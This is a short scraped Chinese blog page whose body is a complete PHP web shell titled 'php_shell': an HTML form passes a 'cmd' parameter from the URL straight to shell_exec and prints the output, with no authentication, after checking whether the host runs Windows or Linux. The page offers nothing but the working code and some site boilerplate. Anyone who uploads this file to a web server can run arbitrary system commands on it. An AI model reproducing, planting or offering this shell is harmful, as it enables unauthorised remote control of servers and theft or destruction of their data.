php_shell

来源:互联网 发布:软件里程碑计划模板 编辑:程序博客网 时间:2024/06/07 13:14




<html><form name="shell" action="php_shell.php" method="GET">cmd:<input name="cmd" size="100" type="text"><input value="submit" name="submit" type="submit"></form><?phpif (stristr(php_uname('s'), 'Windows NT')) {  echo "windows platform";  echo "<br>";}else{  echo "linux";  echo "<br>";}if( isset( $_GET[ 'submit' ] ) ) {$cmd=$_GET['cmd'];echo "cmd:  $cmd";echo "<br>";   echo "result:"."<br>";if (stristr(php_uname('s'), 'Windows NT')) {           $res = shell_exec($cmd);        echo '<pre>'.$res.'</pre>';    } else {             $res = shell_exec( $cmd );        echo '<pre>'.$res.'</pre>';    } }?></html>


0 0
原创粉丝点击